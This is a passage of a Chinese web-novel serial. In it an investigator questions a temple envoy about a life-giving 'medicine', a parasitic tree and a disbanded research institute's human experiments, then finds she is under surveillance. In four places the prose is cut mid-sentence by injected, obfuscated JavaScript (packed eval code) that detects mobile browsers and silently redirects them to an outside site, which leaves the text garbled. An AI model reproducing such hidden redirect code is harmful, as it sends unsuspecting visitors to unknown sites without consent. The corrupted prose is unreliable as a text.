似乎终于整理好手上的文件，璩双沉静的瞳孔看向天屿，道：“那就查出来。这件事都过去十几年了，先不说能不能查出来，就算查出来，你认为她会做什么。” “……我说不好。” 璩双看着态度焦躁的天屿，忽然问了一个问题：“你不信任白乾？” 天屿愣了一下，随后毫不犹豫道：“当然。这种事难道不是需要相处的吗？我并不了解她。而且……她还是方舟的人。” “是吗……那她受伤的时候，你又为什么生气？”不等天屿为自己辩解，璩双的视线已经移到了早已黑下去的窗户，她道。 “而且你说错了，她现在是我们这边的人。” 天屿用一种困惑的目光看着璩双：“你相信她，为什么？” 璩双摇头，没有回答：“夜深了，回去吧。” …… “她是怎么变成继任者的？” “如果你指的是这半个月内莉兹为什么会突然对神庭感兴趣，我可以告诉你，是因为殉道者的‘药’。” “药？”寻茵怔了下，下意识呢喃，“但莉兹并没有生病，这药……是给她妹妹的？” “药又什么作用？” 明映眨眨眼，面上挂着无辜的笑容：“我当然不介意为您解答，但我们说好的，这是第二个问题。” 寻茵梗了下，并不太情愿地道：“……你问。” 明映面上的笑容变得灿烂了一些：“很高兴你愿意配合。” “能告诉我——你的名字吗？” 就这？ 寻茵愣了下，这算个什么问题，原本她都做好他问方舟的内容了——如果明映真这么问，只能得到寻茵胡诌的答案。 然而很快她就意识到这个想法错的有多离谱。 迎上对方的目光，她忽然有一种直觉—— 明映问的并不是游戏身份，而是她现实世界的真名。 心中一凛，寻茵下意识皱起眉。 她完全没有考虑过这种可能性，比如，对方也是和她一样人偶阵营的玩家。 只是明映的姿态太过自然娴熟，让她之前选择性忽视这个可能。 “白乾。” 她眼也不眨，毫不犹豫道。 如果对方真的是人偶玩家，那她几乎要为对方的演技拍手叫绝。 但不管他是不是，唯有一点是寻茵能肯定的，她不会暴露自己的身份。 “白乾……”明映若有所思地重复道，寻茵从他的表情上看不出来他相不相信。 他很快接上寻茵之前的问题：“殉道者的职责并不轻松，不管是保障遗落之骸不要侵害东区，还是防止一些别有用心的人进入神庭，又或者是执行某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237609|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些见不得光的任务……总之，伤亡的概率非常大。” “这跟‘药’又有什么关系？” “当然有关系，”他笑了笑，“你难道听说过殉道者三天一换吗？” 寻茵被忽然问得一愣。她对殉道者的了解仅在表面上，谁知道殉道者多久一换。 当她抬眼，撞上明映饶有兴趣的观察表情，像是知道寻茵心里在想什么一般，给出答案：“十年。殉道者每十年一换，卸任的殉道者很少有活得长久的，除了个别例外。” 十年？那距离换任还有多久？ 他接着道：“没人保证所有殉道者都能安安稳稳地活到十年——所以，‘药’出现了。‘药’的作用是为殉道者提供生命力。打个比方，比如今天你受了重伤，马上就要死了，那么‘药’里面蕴含的生命力能够使你迅速恢复过来，免于一死；就算是某种持续性的疾病，只要一直吃‘药’，也未必不能活下来。” 瞬间，寻茵几乎可以确认，为什么莉兹会想要成为殉道者，她需要这样的‘药’来救妹妹。 “但莉兹并不是殉道者。她只是继任者，这里面还是有区别的吧？” “当然。”明映微笑着看向寻茵。 她嘴角一抽，叹了口气：“你问吧。” “你现在感觉怎么样？有受伤吗？” “什么？” 寻茵的眉头皱得更紧。 这都是什么问题，明映是什么意思？ 想起她们还在问答环节，尽管寻茵怀疑的目光在对方面上游走一圈，最终还是回答了他：“没有。” 明映笑了笑，继续道：“继任者得不到‘药’。但是她们可以获得另一种资格。” “你知道神庭所供奉的‘神’是什么吗？” 寻茵听见这个问题，不禁挑挑眉，她之前一直认为‘神’不过是神庭巩固统治的一种手段，就像方舟的基因霸权一样。 难道确有其事？ 不过明映这句话并非问句，也并不在意寻茵的回答，他接着道：“神庭供奉的神，是‘永生’。” “那广场上的那尊石像？” 明映扬眉，面上神色看起来有些戏谑：“人只能相信具体存在的事物。神可以有任何表现形态，石像只不过是人基于想象所造。” “但你还没说继任者能得到什么资格。” “不要着急，”明映摇摇头，“只要是你想知道的，能知道的，我都会告诉你的。” “《神史》记载，在神第一次降临时，它为这个世界带来一颗种子。这颗种子渐渐长成大树，结出果实，吃下果实的人能够永恒不死。” “永恒不死，那不就是神了？” “万事都有代价，”他笑着说，“吃下果实的人会永远受神约束，毕竟，这是神赐下的果实——当然，我要说的并不是这个，神庭存在一颗果实。而殉道者们吃的‘药’，就源自与它。至于继任者，她们可以得到衍生自果实的一些副产品。” “……这是能说的吗。” 这不该是机密吗？他就这么说出来了？ 明映闻言皱起眉，一只手装模做样地捏住自己下巴，点点头：“确实……不过关我什么事？我也不清楚你是从哪里听来的。” 寻茵：“……” 14. 曙光中心12 没有去问副产品是否跟‘药’具有相似的作用这种问题，寻茵看着明映，静静等待他的提问。 这个问题明映沉吟了许久，久到寻茵有些不耐烦了，他才开口：“你有跳槽的打算吗？” “……” 又是一个古怪的问题，寻茵觉得对方再问出什么问题她都不会奇怪了。 “你是指跳槽到神庭吗？” 她给出了一个反问，但很快又道：“暂时不考虑。” 明映看起来对此毫不意外，他摊手：“当然，我永远欢迎你加入。那么，你还有什么问题吗？” “莉娅死亡，莉兹成为‘魂木’寄体这件事，跟你有关系吗？” 这个问题不好回答。 寻茵问的不是‘是你做的吗’而是‘与你有关吗’，怎样算有关？ 明映又会怎么回答呢。 鉴于明映连神之果这样的东西都捅出来了，寻茵不认为他会说假话。 明映摇头，目光诚挚：“我并没有见过她。但如果是魂木，那就说得通为什么莉兹要成为继任者了。你知道魂木是从哪来的吗？” 寻茵闻言皱了皱眉，她对这件事有些印象，记得自己曾经在哪看到过。 “常青研究所？” “你知道？”明映向寻茵投来诧异的一眼。 不是装的。 看来他认为现在自己不该知道这件事。 不动声色敛下困惑，她平静地看向明映：“很奇怪吗？” 明映脸上一闪而过的情绪让寻茵一时无法分辨，听了寻茵的话，他微微耸肩，忽然端起手边早已冷却的咖啡，啜饮一口：“不。不奇怪。没错，魂木来自常青研究所，但这并不是它最初存在的地方。” “它最初存在的地方是——放逐之地。” “放逐之地？”新名词让她皱了皱眉，这段时间寻茵接触到太多东西，如果不是她早已习惯这样大量信息灌输，恐怕早就被一股脑砸昏了头。 “污染区。这个你们曙光中心有更详尽的资料。” “常青研究所研究的所有东西都来自放逐之地，这间研究所在七十年前大肆敛财，进行了多项研究，但最终研究成果还未出现就因违规人体实验被曙光中心处理了。” 寻茵嘴角莫名一抽。 违规人体实验？曙光中心自己的实验难道就合法合规——噢，法规也是曙光中心制定的。 察觉到话题越扯越远，寻茵及时拉了回来：“所以这跟莉兹成为继任者有什么关系？” “魂木具有传输能量的能力。它虽然是遗落之骸，但个信温和，对人类没有攻击意图，所以即便寄生在人类身上也不会让寄生者立即死亡——它只会借用寄生者吸取周围的能量，直到寄生者渐渐衰落。对寄生者而言，这是加快了几十倍的自然衰亡。” “‘药’中蕴含的生命力能让寄生者变年轻，这是‘逆衰亡’，也就是说只要她能得到足够多的‘药’，就有可能救回妹妹的性命。” “这不是饮鸩止渴吗？” 咖啡见底，明映轻轻搁置，看着杯底残留的咖啡渍，叹息一般道：“是啊，但是她没办法了。” 说不上来是什么心情，毕竟寻茵自己没有这样能为之付出一切的人。她看着明显失神的明映，直言道：“你在想什么？” 明映被问得一愣，但很快道：“我也不知道。或许对常人而言，应该都会有些唏嘘？” 寻茵的目光变得奇怪：“你是常人吗？” 明映：“……” 这回轮到明映失语，他无奈地笑了下：“说的是。” “既然谈话结束，我就走了。”寻茵站起身，她位置的咖啡一口未动，这这证明着她从未对对方放下警惕。 “等一下。” 寻茵偏头去看他：“有事？” 明映看着她，眼中没有那些虚浮的情绪，显出一种无端的认真：“只要你有需要，我会随时恭候你的到来。” “……” 寻茵的脚步一顿，毫不犹豫地走了出去，没有回答。 明映看着寻茵离开的背影，忽然从喉咙里发出一声闷笑，好像心情非常愉悦似的。 直到身后的墙壁翻转，另一个人从中走了出来，明映的脸色才冷了下去。 “千足的事，是否要防止她们调查？” 明映冷淡道：“不用。这件事查出来也没什么——你看，现在她们的注意力不是完全被莉兹两姐妹占据了吗。” 对方微微俯身：“您说的是。” “蝮蛇，”明映忽然叫她，“我记得我应该说过，没我的指令不准对她下手吧。” 蝮蛇愣了下，微微垂眼：“但这是先知的指令……祂似乎想测试复合产物的实力。” 明映眼中危险的寒芒一闪即逝，但他道：“先知的指令？那么祂得出答案了吗。” 蝮蛇垂下头，不知如何作答。 “被研究员出身的人打败，”明映发出嗤笑，“这就是祂让我看到的成果。” 他掠过低头的蝮蛇，漠然道：“照规矩，自己去领罚吧。” …… 从明映那出来，寻茵开始整理她从明映那得知的信息： 莉兹为了莉娅的病，成为继任者；莉娅的病与常青研究所的研究有关；常青研究所的研究物是从放逐之地带出来的。 寻茵越想越不对，她不应该是为了找杀害莉兹的凶手吗？ 如果跟常青研究所沾上关系，那事情就变得复杂起来了。 寻茵原以为自己只需要在调查莉娅在神庭的人际关系之后就能找到一些线索，但被明映这么一说，事情似乎没有这么简单。 卡着点来到三楼阳台，沈阑珊的身影早已出现在那。 “有什么发现吗？” 她看向寻茵。 寻茵隐去明映邀请她跳槽这段，将事情告知沈阑珊。 “常青研究所……” 沈阑珊皱着眉重复道，“我记得这是几十年前的案子了，这件事我并不了解，如果要调查需要向上申请案宗。明天暂时就以莉兹是继任者为由请明映‘配合调查’，等把明映带走审问。我会同时向上申请增派人手对神庭人员进行审讯，以排查莉兹的人际，找出她继任的殉道者。” 二人商议很快结束，沈阑珊与明映一前一后回到房间。 尽管时间不早，寻茵却没有任何困意，她摸了摸口袋，点开光幕，将小刺猬放了出来。 口袋的核心被她轻轻放在小刺猬面前。 小刺猬一边呲牙，一边发出威胁的咕噜声，一边一口吞下寻茵给的核心。 【恭喜您，{小刺猬}已进化！ 目前亲密度：1%】 瞬间，小刺猬的身形被一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237610|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团光笼罩，大约过了一分钟，一条皮毛顺滑、牙齿尖利的屎黄色中华田园犬出现在寻茵面前。 她诧异地看着眼前完全变了模样的狗，试探性地叫道：“小刺猬？” 狗向寻茵呲牙。 很好，这性格，果然没变。 没想到进化之后连模样也会改变，难道她其实是欧皇，等自己再养养说不定会出现其他的作用？ 她就知道，没有人会一直非。 寻茵带着几分愉悦，拍了拍狗头，在小刺猬趁机漏出獠牙时，轻松躲过小刺猬的攻击。 光屏继续变动。 【目前状态：饱腹 下次进食时间：167：59：57】 168小时……也就是七天。 想到自己与遗落之源的缘分，寻茵觉得这个要求也不是那么难达到。 与小刺猬玩闹间，寻茵忽然想到一个问题，莉兹被杀的原因真的在莉兹身上吗？ …… “咯咯” 指节敲击大门的声音让寻茵睁开眼睛。 昨晚回去的时候，寻茵并未换衣服。因此晨起不过一分钟，她就打理好自己，拉开了门。 沈阑珊站在门口，表情有些诧异：“你这是……一晚没睡？” 寻茵摇头：“跟天屿联系过了吗？” “联系过了，一会她会派维安支队过来调查。我们只需要把明映带回去就行了。”沈阑珊将手机放到寻茵面前，“我来就是为了跟你说这件事。” “那我们现在就去找明映。” 昨天是祝祷日，但今天不是。 本以为明映不会起很早，可当二人装模做样敲响明映的门时，门却立即开启。 “早上好。” 明映的脸上带着笑容，似乎很愉快看见寻茵。 “找我有什么事吗？” 寻茵看他，语气如常：“有关莉兹姐妹的事情，还想邀请神使去曙光中心详细说说。” “如果这是你希望的，”明映勾了勾唇角，“当然。不过我需要一些时间交代事情，还请二位宽限几分钟——如果有需要，我不会介意二位在边上旁听。” 不需要二人对视，她们便异口同声：“那就不客气了。” 随后明映拨响内线电话，一个穿着不同于其他信徒的女人走了进来，她穿着身干练的劲装，由于面无表情，看起来非常冷漠。 察觉到寻茵的视线，明映笑了笑：“这是殉道者的领袖，蝮蛇。” 寻茵观察到，当沈阑珊听到殉道者领袖二字时，目光顿时染上一层警惕，不过这样的环境她没办法询问对方发生什么，只开口问道：“距离你们换任还有多久？” “蝮蛇，你说呢？”明映看着低头的人，将寻茵的话题抛给她。 “殉道者换任早在三天前就结束。” “什么？”寻茵下意识皱眉，如果是这样，莉兹又是怎么得到药的，总不可能她是刚上任的殉道者的继任者吧。 并且，如果是这样，那么就排除之前认为的莉兹之死与殉道者选拔有关了。 “我可以知道上一任殉道者的信息吗？” 她不准备放弃这个线索。 从进来后从未抬头的蝮蛇忽然抬头看了寻茵一眼，这时寻茵才注意到她的瞳孔是金黄色的竖瞳，有种野兽般的冰冷： “当然。” 15. 曙光中心13 不过遗憾的是，寻茵并未等到蝮蛇交付文件，负责交接的人员就以抵达神庭。 “蝮蛇找到了会交给你的，如果你去过神庭的资料室就能发现我们的资料都是散乱的。” 坐在沈阑珊车上的明映丝毫没有嫌疑人的认知，比寻茵看起来都要自在。 现在她们的车穿过东区隧道，正向着曙光中心驶去。 寻茵一怔，反应过来所谓的资料室是什么，嘴角一抽：“你管杂物间叫资料室？” “杂物间？我记得资料室应该都有文件架，不管怎么看都应该是资料室吧。” 寻茵：“……”说得好，一间资料室只有一个文件架，一个文件架上也只放了一份资料。 她转过头，不再理会明映。 明映说了几句，发现寻茵并不回应，于是老实闭嘴。 直到在曙光中心下来后他才看向寻茵，表情有几分可怜兮兮：“白乾小姐，我都是因为你才愿意来的，不要让我被动用私刑啊。” 沈阑珊忍了一路，终于忍不下去了，一巴掌拍在明映的背上：“快走，曙光中心不会对配合的人动私刑。以及，你应该称呼她白乾治安官。” 明映的审讯交由天屿亲自负责。 二人站在审讯室外旁观。 对于天屿的问话，明映表现得还算老实，但所得出的信息与寻茵那晚问出来的并没什么太大出入。 就在审讯期间，有人拿了份文件走来，递给沈阑珊：“秘书长，灰鼠的尸体找到了。是否要去现场看看？” 沈阑珊接过对方手上的现场图片及基础尸检报告，微微沉吟，看向寻茵：“你怎么看？部长说过这起案件我配合你。” 寻茵没想到对方会询问她的看法，她记得天屿似乎只说过去神庭由沈阑珊辅助调查。 但她很快反应过来，并接受对方的好意：“我想去现场看看。” “好，”沈阑珊转过头，看向那个通知的人，“你留在这里，等部长出来后告诉她，我和白乾先一步去未来酒店进行调查。” 安排妥帖，二人很快就赶到未来酒店，安夕拾早已等候在那。 “请跟我来。”她看着脚步匆匆的二人微微颔首。 跟着安夕拾，二人一直走到后厨。 这片地方已经被维安部门围了起来。 灰鼠的尸体摆在正中央——无头的。 它呈现着蜷缩装，表面结着一层水汽。 安夕拾开口：“今早我们员工去冷柜拿取食材时在角落发现了它。” 她指了指一旁放置的冷柜。 寻茵看着尸体，缓缓蹲下。 尸体脖颈处的切面非常平整，看得寻茵几乎就要认为凶手就是为了灰鼠的脑袋去的。 ——为什么？灰鼠的脑袋又有什么特别的吗？ “看起来冷柜也要带去曙光中心当作证物了——结案后会还给你们的。”沈阑珊说着，看了眼安夕拾。 安夕拾摇摇头：“不用，未来酒店的冷柜会换新。结案后随你们怎么处理。未来酒店出了这样的事，我还有许多事情要安排，就先失陪了。如果二位有任何需要，都可以拨打酒店热线，转接我。” 她说完，很快离去，脚步匆匆，看得出来很忙。 沈阑珊看着安夕拾的身影消失在视野中，转头看向与尸体亲密接触的寻茵：“你怎么看——你在干什么？” 寻茵对着尸体，模仿着这一姿态，闻言看向沈阑珊：“你觉得这样子我能塞进冷柜且直到第二天才被发现吗？” 沈阑珊眯起眼睛：“你的意思是……” “这里不是第一藏匿点。” 寻茵站了起来。 “把它带回去尸检吧。” 如果说之前寻茵只是怀疑灰鼠与未来酒店有关，那么现在她完全可以肯定这个猜测。 未来酒店每天的肉类消耗量非常大。寻茵在它的宣传册上看到过——就算24h内肉类没消耗完，未来酒店也不会再次使用，这意味着每到时间，酒店都会清空一次冷柜。 但灰鼠失踪的时间仍超过24h，那么在这之外的时间，他又会被人藏在酒店的哪个角落呢？ …… “这是检验报告，被藏在冷柜里反而延缓了衰败，但遗憾的是也没保留下多少信息，毕竟我们不是靠他的尸体来找凶手——” 沈阑珊将灰鼠的尸检报告递给寻茵，打趣着说道。 作为凶手本人，寻茵略过死因那段：“左上臂存在一段编号S07……” “这是什么？” 她挑眉，看向沈阑珊。 对方向她耸肩，表示自己也不清楚，不过她提供了几种猜测：“队伍编号，商品编号，甚至实验体编号，这都有可能，除非我们能找到三个及以上相似编号，否则恐怕没办法确认。” 于是寻茵暂时放下这点，继续看：“脖颈处系死后创伤，检测到特殊能量波动，确认为异能伤。” “就是说，灰鼠的头是对方用异能切割下来的。” 沈阑珊接话。 寻茵没意外。她们没有在厨房找到趁手的工具，如果不是异能，恐怕这一步很难完成。 思绪在脑子里打成结，这些线索过于零碎，完全没有指向性。 “嘿，档案申请通过了。” 忽然，沈阑珊惊喜道。 “我们先去看看档案吧？” 寻茵点点头，找到灰鼠的尸体并没有让他们的调查豁然开朗，反倒更加迷雾重重。 继续在这里也只是空想，或许她应该接触些新的事找找思路。 不过寻茵没想到，这件事的线索来得这么快。 二人一边闲聊，一边向着曙光中心的档案室走去——说实话，只要看到曙光中心的档案室，寻茵就更不认为明映那的杂货间是档案室了。 曙光中心的档案室有两种划分，一种是四十年以前——采用的是纸质档案。 至于四十年后已经采用电子档案。 不幸的是，她们要的资料是七十年前的，是纸质档案。 好在纸质档案的整理非常规范，顺着分类和年限，二人很快就找到属于常青研究所的档案。 常青研究所触犯的罪名与明映说的没什么太大出入，档案袋里的资料包含着常青研究所的研究内容和实验对象。 忽然，像是看到什么，沈阑珊抓着她的手臂，发出一声惊讶的呼叫：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237611|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你看，这是不是莉兹和莉娅？” 寻茵凑过去，莉兹和莉娅的照片在纸上，但她们并不叫莉兹和莉娅，照片边上是一串编码S12和S34，寻茵目光上移，落到纸张的标题栏。 《受体实验名单》 “看起来，我们知道S07代表什么了……” 沈阑珊的表情看起来还没缓过神：“等一下，如果说莉兹和莉娅是实验体，但是常青研究所已经是七十年前的事了，可她们的年龄看起来都不会超过二十岁……” “而且，资料上记载，曙光中心打击常青研究所之后，很多实验体都下落不明，难道时间在她们身上停滞了吗？” “我认为，有可能跟常青研究所的实验有关。”寻茵猜测道，“但所有研究数据都被曙光中心销毁了，除非我们能向上申请重启对常青研究所的调查。” “但你我都知道这是不可能的。” 至少绝不会因为莉兹一案就重启。 “那么现在灰鼠与莉兹之间的联系又多了一点。” 寻茵沉思：“如果凶手杀莉兹，让莉娅成为魂木的寄体，甚至带走灰鼠的头颅都是因为常青研究所……” 那跟寻茵又有什么关系？毕竟白乾这个身份来自方舟，与常青研究所根本毫无关联。 话在寻茵口中一转，“那明映岂不是无辜的，我们不是抓错人了？” 二人面面相觑。 虽然嘴上这么说，但二人谁也没有为明映去辩驳。 不断猜测白乾与常青研究所可能存在的联系，怀抱着这种未知的煎熬，寻茵一直熬到下班。 回到酒店房间，寻茵一下子瘫在沙发上。 她仰头看着天花板，刚准备想事情，忽然，一种被偷窥的恶寒席卷全身。 这是怎么回事？ 寻茵皱着眉，站了起来，打量着客厅的家具，头顶的灯是繁复的款式，多个灯泡被灯罩所笼罩着，灯下坠着些璀璨的碎钻，不知道是不是使用年限太长的原因，其中一个灯泡亮度对比其他略显昏暗。 她在原地站了会，走到落地窗前的绿植上，打量着它。 绿植的土表面是一层略显干燥的土壤，寻茵捻起一粒土块，大拇指与食指揉搓着，将其碾碎成粉末状洒了回去。 看起来似乎并无异样，但寻茵用一截树枝拨开表面干燥结块的一层，露出里面湿润的土壤。 她忽然轻笑一声。 真是欲盖弥彰。 房间里的绿植每天都会有专人浇水打理，绝不会像现在这样，表面干到成灰，底下却这么湿润。 她被监视了。 落地窗前的景色已经变得非常昏暗。这个世界没有星星，甚至月亮也很少见，极目望去，世界却被各色灯光映成璀璨的斑斓。 就是这样一片祥和的景象下，寻茵却感觉不到一丝暖意。 随着灰鼠与莉兹两姐妹的共同点落脚在常青研究所，差点让她误以为这件事与她没关系，兴许是自己太过敏感。 毕竟杀害莉兹的凶手什么也没做——似乎只是来看看她。 然而灯上以及藏在绿植中的小玩意却在提醒她，这并不是错觉。 她被人，盯上了。 16. 曙光中心14 明映并没有在曙光中心的审讯室滞留太久，毕竟她们的手上没有实质性的证据证明这件事与他有关。 蝮蛇在来接明映的时候为她带来上一任殉道者的资料。 “要不要跟我一起去神庭？我那里还有很多资料，你可以再详细地找找看。”明映揉着被扣住一天的手腕，暧昧地冲寻茵眨眨眼。 蝮蛇跟在他后面，看起来像沉默的守护者。 “多谢神使邀请，”寻茵挑挑眉，“如果你愿意留下来陪我一起调查这起案件我倒是可以考虑一下……毕竟工作繁重。” 明映撇撇嘴：“那还是等这起案子调查完了再说吧。我可不想再跟你相见在审讯室，我是说，这听起来不太好。” “那就等下次吧。” 原本这只是句敷衍之词，没想到明映似乎当真了——他勾起唇角，将掌心面对你：“击掌为誓。” 寻茵：“……” 见寻茵没有伸手的打算，明映拉起寻茵的手掌，一巴掌拍在她掌心。 随后像是没看见寻茵几乎要打结的眉头般，笑道：“誓约成立，我欢迎治安官小姐随时光临。” “大人，该走了。” 蝮蛇在身后轻声提醒。 明映眉头几不可见蹙了下，随后看向寻茵：“那我就先走了，再会。” 寻茵在原地看着明映离去的背影，硬质的东西搁在掌心。 “你不会真打算去神庭吧？” 沈阑珊走来打趣了一句，寻茵态度自然地将右手插进口袋：“当然不。” “我想也是。对了，虽然我们调查的共同点在常青研究所，但是如果没有上面批准这件事还是很难进行下去，我会帮你向上一辈的人打听打听，你不用太担心，有消息我会通知你的。” “多谢，”寻茵扬了扬左手的资料，“刚好蝮蛇把莉兹继承的上一任千足资料送了过来，我正打算去看看。” “去吧，我刚好要整理我们后神庭成员的询问记录。” 二人都开始准备自己的工作。 蝮蛇带来的这份资料非常详尽，照片，异能，个人经历……寻茵记下千足的长相，最后将视线定在对方的经历上。 “……于净化纪143年1月失踪，目前去向未知。” 对方在一年前失踪，那么所谓的传承岂不是断了？ 神庭究竟在搞什么？ - 下班后，寻茵走进一家咖啡馆，不出意外在角落看见端着咖啡阅读报纸的明映。 她抬头环顾一圈，确认周围无人在意她们，向明映走去。 早上对方趁着击掌塞给她一张纸条，上面写着一个地址，就是寻茵走进来的这家咖啡馆。 走到对方面前，她屈指在桌上敲了两下，明映头也没抬，将早已备好的咖啡向寻茵的方向推了推：“坐。” “叫我到这来有什么事？” 明映将报纸折了起来，看向寻茵，表情认真：“不是我有事，是你有事。” “我能有什么事？” 寻茵面无表情，心中的警惕却拔高一层，她不喜欢这种故弄玄虚。 明映没有回答这个问题，透过咖啡馆的玻璃，他若有所思地看向街道上来来往往的行人，道：“你说，这么多人里，有没有一双眼睛盯着你我呢？” 不知道是不是明映的恐吓，寻茵忽然感到谁的视线从她身上掠过。 “你想说什么。”顺着方向看去，却没有任何异样。 “别这么严肃，我说过了，我对你没有恶意，我可以回答你的问题，只要是你现在可以知道的。” 寻茵看着他，于是提出了第一个问题：“杀死莉娅的凶手是谁？” 明映失笑，表情无奈：“这个问题我不能回答。” “也就是说你知道答案。” 明映的指尖富有节奏地敲击着咖啡杯壁，他垂眸：“谁知道呢。” 于是寻茵确认了：“神庭的人——或者说至少跟神庭有关。” 他无奈地摇摇头：“现在知道太多对你而言未必是好事。” “你跟神庭并不是一条心。”寻茵用肯定地口吻说出另一句话。 明映挑眉，眼中含着一种古怪的笑意，嘴上却道：“嘿，这样可就没得聊了。你的两个问题我都没办法回答。” “谁说这是问题，”寻茵在口袋里摸出笔和便签纸，在上面写完问题后推到对方面前，“这是肯定句。” “你为什么帮我？”纸条被推了回来，看着上面的回答，寻茵又写下一个问题，随口问道。 “我记得我回答过，”明映在纸上写着截然不同的话，一边回答：“我对你一见如故。” “是吗，我不相信。” 看着纸上的答案，寻茵记下后便将纸张撕碎后放进口袋。 她抬眼看向寻明映：“想要获得我的信任，你恐怕得付出更多东西。” 端起咖啡，明映歪了歪头：“当然，但我想这并不急于一时。” 寻茵看了对方一眼，收拾了自己的东西：“我走了，你买单。” 明映：“……” 抛下无言的明映，寻茵走出香气馥郁的咖啡厅，街角的位置是城市排水口，寻茵掏出口袋里的纸屑，淡定地从排水口中扔了下去。 从明映那，她得到了一个新答案。 社会之家。 心念一转，寻茵拐角走进了一家网吧。 电脑的屏幕光投影在寻茵脸上，她看着自己查到的东西，身边人都在打游戏，唯有寻茵这块非常安静。 社会之家是一个社会性公益机构，常收容一些没办法独立生存的残缺者或还没有独立生存能力的孩童。 她点进社会之家的官网，对于这种机构，偶尔会有情况公示。说实话，寻茵并不确定自己能在社会之家中找到她们。 但，今天或许是寻茵的幸运日，她竟然从社会之家公示的照片上发现了稚嫩的莉兹莉娅，她看向这张照片的时间，是十年前。 十年前的莉兹莉娅还是孩童模样，这几乎要让寻茵怀疑常青研究所的实验体几乎只是一个与她们长得一模一样的巧合罢了。 十年后就能长成这个模样意味着她们的生长是正常的，那么生长速度比旁人更慢的可能性就被排除。 这意味着，她们身上时间停滞了六十年。 退完电脑剩下的时间，走出网吧，寻茵的脑子里还在不断考虑各种可能。 回到酒店后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237612|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她将小刺猬放了出来。 似乎是昨天寻茵拼死拼活搞来的核心起了作用，至少现在小刺猬已经不那么抗拒她。 尽管对寻茵并没有放下警惕，至少不再冲她呲牙。 因为核心被分给小刺猬，触手甚至还跟她闹了起来，不过在她的暴力镇压之下，最终没能掀起什么风浪。 不过…… 触手从背后向前伸出来，柔软的尖端被寻茵缠在指尖，像头发一样绕成一圈圈，这时候又没有那种令人惊讶的尖锐与锋利了。 手感像果冻，冰凉又Q弹。 尽管寻茵能感觉到对方在生闷气。 啧。 说起与她情感互通的触手，那就不得不提起寻茵左臂上的九只眼睛，之前寻茵太忙，没时间静下心来好好琢磨自己身上的这些东西，只知道这是白乾从方舟偷出来的，种在自己身上。 寻茵猜测她是为了增加自己活下去的筹码，弥补自身异能缺失的遗憾。 如果说触手是输出型，那么九瞳无疑是很强劲的辅助——毕竟对寻茵而言，她也才激活了一只眼睛，剩下的八只还不知道什么时候能激活，又有什么作用。 看着床边趴着的小刺猬，手上缠着的触手，寻茵竟然感到一种莫名的安逸。 哪怕自己连盯上她的究竟是什么人都尚且未知，但她的心却在这安逸间莫名轻松起来。 思考并不是她擅长的方式，战斗才是。 她坠在意识的云海间，陷入安眠。 …… 毫无疑问。 寻茵看着自己眼前的缭绕的白雾和高大的树林。 她又做梦了。 不知道是不是梦境的原因，寻茵只能看清眼前的这一小块地方，她像是被这迷雾完全围了起来。 她试探性地向前行走，想要探清前方迷雾中的虚实，瞬间，周围的景象开始扭曲。 脚下的土地，眼前的树影，和看似温和无害的白色雾气好像瞬间就变了一个模样。 这感觉就像是……森林，活了过来。 说实话，这个梦的环境无意让她想到了魂木的领域，难道这是白乾陪塞西尔去污染区寻找哥哥的记忆？ 一阵狂风从寻茵的耳边呼啸而，她看着风卷起地上的枯枝尘土，忽然抬头看天。 ……那是天空吗？寻茵无法分清。 因为天是一种灰白的色调，而其中本该是太阳的地方，却只有一颗属于人类的、鲜红的、悦动的心脏。 又或者，这里并不是森林。 而是在某个污染物的身体里—— 这是一种天灾一般的压迫，几乎让寻茵感到无可动弹。 与她之前面对的任何污染物的压迫感截然不同。 她莫名想到自己刚进入游戏前做的梦，那时也有一个人捧给她一颗心脏。 寻茵低头看向胸前心脏位置，一缕枯枝从心脏处穿透，可她感觉不到任何痛苦。 她忽然跪了下去，眼前清晰的景象开始变得模糊，世界一片天旋地转，她感觉自己像被放进滚筒洗衣机，整个人的灵魂被不停旋转又甩干。 